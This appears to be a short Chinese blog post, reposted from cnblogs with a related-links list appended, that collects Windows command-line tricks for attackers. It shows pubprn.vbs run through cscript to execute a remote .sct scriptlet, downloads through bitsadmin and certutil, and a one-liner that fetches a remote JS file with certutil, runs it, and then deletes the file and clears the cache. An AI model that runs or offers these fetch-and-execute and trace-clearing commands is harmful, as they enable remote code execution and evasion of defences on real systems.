远程执行sct的另一种姿势

cscript /b C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs 127.0.0.1 script:https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct

detail:https://posts.specterops.io/wsh-injection-a-case-study-fd35f79d29dd

命令行下载姿势1

1
2
3
bitsadmin /rawreturn /transfer getfile http://download.sysinternals.com/files/PSTools.zip c:\p.zip
bitsadmin /rawreturn /transfer getpayload http://download.sysinternals.com/files/PSTools.zip c:\p.zip
bitsadmin /transfer myDownLoadJob /download /priority normal "http://download.sysinternals.com/files/PSTools.zip" "c:\p.zip"

命令行下载姿势2

1
certutil -urlcache -split -f http://192.168.254.102:80/a.txt b.txt

清除缓存 certutil -urlcache -split -f http://192.168.254.102:80/a.txt delete

命令行执行远程JS

certutil -urlcache -split -f http://192.168.254.102:80/a a.js && cscript a.js &&  del a.js && certutil -urlcache -split -f http://192.168.254.102:80/a delete

转载于:https://www.cnblogs.com/nul1/p/8973337.html

CMD命令行下载文件相关推荐

  1. android cmd命令行删除文件夹,文件

    android cmd命令行删除文件夹,文件 adb root adb remount adb shell su cd system/sd/data //进入系统内指定文件夹 ls //列表显示当前文 ...

  2. 秒杀迅雷的linux命令行下载文件以及常用工具:wget、Prozilla、MyGet、Linuxdown、Curl、Axel

    本文介绍常用的几种命令行式的下载工具:wget.Prozilla.MyGet.Linuxdown.Curl.Axel 下面就为大家详细介绍一下这些工具 1. Wget Wget是一个十分常用命令行下载 ...

  3. 通过CMD命令行获取文件夹下的所有文件名称(电脑小白专用)

    文章目录 起因 方法 1. 打开CMD: 2. 在弹出的命令窗口中跳转到文件夹路径下 3.复制文件夹的路径 4.在命令行中执行获得文件名命令 起因 在vs配置OpenCV时,需要在链接器中输入许多.l ...

  4. Linux命令行下载文件到本地

    一直在用ftp工具进行下载,但是很麻烦.现使用Linux命令行的方式下载文件到本地 方案: yum install lrzsz // 下载 上传下载工具sz和rz 安装完之后,输入命令 sz 文件名 ...

  5. Linux使用命令行下载文件

    使用Wget下载文件 下面的示例将从服务器下载文件到当前本地目录. $ wget https://tecadmin.net/file.zip 下载文件并保存到特定位置 下面的命令将下载名为file.z ...

  6. python命令行下载文件_python写的批量操作远程主机脚本(命令执行,上传、下载文件)...

    最近在学习python,借助fabric模块写了个批量操作服务器的脚本,在此分享给大家,如有不足之处,欢迎大家指正 准备工作: 安装python 2.6.5: yum -y install readl ...

  7. ubuntu 命令行下载文件

    wget + 下载地址 如nvidia驱动的下载地址是:https://cn.download.nvidia.cn/Windows/466.27/466.27-desktop-win7-64bit-i ...

  8. Linux命令行下载文件百度云盘

    本来想直接使用wget去下载.但百度似乎增加限制,下半停产,不就不再下.刚刚好找其他方法.另辟蹊径: http://oott123.github.io/bpcs_uploader/ 版权声明:本文博客 ...

  9. windows cmd命令行新建文件,编辑文件,删除文件命令

    新建文件 type nul>文件名 编辑文件 copy con 文件名 开始编辑 CTRL+z回车保存 删除文件 del 文件名

最新文章

  1. 随机加密_随机艺术和加密圣诞树
  2. 一个关于数组中满足条件的元素选择、及函数变换得c语言函数
  3. ios与java交互_5、与iOS、Android的交互 实践篇——主动调用
  4. 意外断电后,Zabbix_proxy 重启无任何相关进程,如何处理?
  5. 从数据库中导出数据库文档
  6. Java模拟实现一个基于文本界面的《家庭记账软件》
  7. 整理与随笔——抽象代数 第一章 群 1.1-1.2 代数体系、半群与群
  8. android 打apk文件怎么打开方式,apk文件怎么打开
  9. 网站SEO的七个技巧
  10. 个人博客建设——Hexo主题icarus的_config.icarus.yml配置参数注释
  11. vue父与子组件,子与子组件间的方法调用和通信
  12. 微信小程序iphone7设备下跳转h5页面失败,h5页面显示白屏,加载报错,其他页面正常显示
  13. 最新瑞芯微四核芯片RK3288开源开发板
  14. 一个程序员心态决定成败
  15. 东半球最好的SecureCRT高级教程
  16. 对tcp三次握手的详解之 理解TCP序列号(Sequence Number)和确认号(Acknowledgment Number)
  17. Spinner用法案例
  18. VS2013漂亮字体
  19. 自媒体短视频快速吸引粉丝的诀窍
  20. 埃尔米特三次样条插值算法-JAVA版本实现

热门文章

  1. 使用git将本地项目上传到github
  2. hdu 1575Tr A
  3. [YTU]_2922(Shape系列-8)
  4. exp--求以e为底的指数函数
  5. 有关函数模板和类模板的说法
  6. oracle sysman 不存在_Oracle无法对所有 EM 相关帐户解锁
  7. 【转】SAP技术趋势及建议
  8. luogu1514 [NOIp2010]引水入城 (bfs+记忆化搜索)
  9. 从MVC到前后端分离
  10. block关键字的使用